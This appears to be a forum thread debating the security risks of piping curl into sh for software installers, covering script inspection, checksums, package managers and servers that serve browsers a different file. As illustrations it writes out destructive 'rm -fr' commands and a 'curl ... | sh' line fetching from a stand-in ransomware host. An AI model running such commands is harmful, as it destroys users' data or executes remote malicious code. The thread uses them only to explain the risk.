[gscho]

Can you explain why this is so unacceptable? Couldn't you inspect the contents at the url before you executed the command? What I've seen in some cases is, run the curl command to download the file and then execute it. I don't see much difference. This is a serious question, not arguing that this is the best way.

[jlokier]

You answered the question yourself.

The difference is between inspecting the executed command, and blindly executing something where you have no idea what it's going to do.

For example, maybe the URL contents is "rm --no-preserve-root -fr /". Or "rm -fr /home/*/Pictures 2>/dev/null". Or "curl https://ransomeware-encryptor.example.com | sh".

No problem if you inspect it first. Lots of unhappiness and heartbreak if you don't.

[oskapt]

Has anyone ever in the history of complaining about this type of script run one and had it nuke their computer? What are the odds that the domains and companies and projects that use this have built their online presence just to pwn your computer for the lulz or that they have been compromised by a malicious actor without being detected at the same time you run the installer, and no one anywhere said anything?

How about if instead we exercise critical thinking and make our own assessment of the risk and act accordingly? Why would you choose not to pipe a shell script from a site you don’t trust but execute their installer instead?

If you don’t want to pipe it, download it and read it first.

[jlokier]

Hey, I use "curl | sh" myself.

But I don't pretend there's no security risk in doing so. Like you advised, I exercise critical thinking, and then I take a risk.

On someone else's production machine, or a container with sensitive data, that risk is too high. On a fun machine in isolation it's fine.

The GPP asks what's the security difference between inspecting and not inspecting the downloaded command.

> or that they have been compromised by a malicious actor without being detected at the same time you run the installer

Installers are compromised quite often by malicious actors. Running an installer is just as dubious as running "curl | sh".

However, replacing an installer with one that looks the same but is actually malicious, is a lot more work than replacing a blind script with one that looks the same but is actually malicious.

And the risk of a malicious blind script going unnoticed is higher than a compromised installer when the SHA256 is shown to be checked alongside the latter's link, simply because the attacker would need to change two places instead of one. Yes I do check hashes of installers when that's possible and there isn't a package manager already doing so. It's a good idea anyway in case of a corrupted download file, which I do see from time to time.

[dheera]

> had it nuke their computer?

Pretty close. Some of them install all sorts of wacky dependencies through non-traditional means. Like you curl an install script and then it goes and curls a whole bunch of other stuff.

Massive PITA to track all the changes that it made and uninstall it.

Package managers were made for a reason, and people should use them.

[jwalton]

Since the shell script in question installs OpenFAAS, unless you read all the source code for OpenFAAS too, then really you still have no idea if it's going to do something malicious or not.

[gscho]

What would be cool is a command line util that you could pipe the script to for a safety inspection.

Something like: curl https://ransomeware-encryptor.example.com | script-checker | sh

[OJFord]

    alias script-checker="echo 'echo unsafe'"

[folmar]

A reasonable attacker would provide different file to curl and to the browser so you inspect something else then you run and don't even have a copy of the file.